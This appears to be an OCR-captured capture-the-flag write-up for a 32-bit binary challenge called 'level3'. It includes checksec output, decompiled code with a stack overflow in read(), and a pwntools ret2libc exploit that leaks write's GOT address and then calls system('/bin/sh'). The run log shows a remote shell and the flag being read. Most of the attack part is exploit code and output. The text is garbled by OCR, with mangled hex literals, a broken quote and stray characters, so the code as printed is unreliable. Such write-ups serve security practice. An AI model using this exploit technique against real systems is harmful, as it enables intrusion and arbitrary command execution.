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tucker@ubuntu:~/pwn$ file level3

level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-,
tucker@ubuntu:~/pwn$ checksec level3

[*] '/home/tucker/pwn/level3"'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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int __cdecl main(int argc, const char **argv, const char **envp)

{

vulnerable_function();
write(1l, "Hello, World!\n", ©xEu);
return 0;

}
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ssize_t vulnerable_function()

{
char buf; // [esp+6h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
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Integer value Name <unistd.h> symbolic constant!'! <stdio.n> file stream(?]
0 Standard input | STDIN FILENO stdin

1 Standard output | STDOUT FILENO stdout

2 Standard error | STDERR FILENO stderr
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from pwn import *
from LibcSearcher import *

# p = process("./level3")
remote("111.198.29.45", "36722")

©
1}

e = ELF("./level3")

write_plt = e.plt["write"]

write_got = e.got["write"]

vuln_addr = e.symbols["vulnerable_function"]

p.recv()
payloadl = "a" * Ox88 + 'a' * Ox4 + p32(write_plt) + p32(vuln_addr) + p32(©x1) + p32(write_got) + p32(0x4)
p.sendline(payloadl)

write_addr = u32(p.recv(4)) #

print("write addr:" + hex(write_addr))

libc = LibcSearcher("write", write_addr)
write_off = libc.dump('write')
bin_sh_off = libc.dump('str_bin_sh')
system_off = libc.dump('system")
exit_off = libc.dump('exit')

libc_base = write_addr - write_off

bin_sh_addr = libc_base + bin_sh_off

system_addr = libc_base + system_off

exit_addr = libc_base + exit_off

p.recv()

payload2 = "a" * Ox88 + 'a' * @x4 + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)

p.sendline(payload2)

p.interactive()
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tucker@ubuntu:~/pwn$ python level3.py
[+] Opening connection to 111.198.29.45 on port 36722: Done
[*] '/home/tucker/pwn/level3"'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (@x8048000)

write addr:0xf76193c0

[+] ubuntu-xenial-amd64-1ibc6-i386 (id libc6-1386_2.23-0Qubuntul®_amdé64) be choosed.
[*] Switching to interactive mode

$ 1s

bin

dev

flag

level3

1lib

1ib32

libe4

$ cat flag
cyberpeace{752b8764602954937c84dded4eed29f75}
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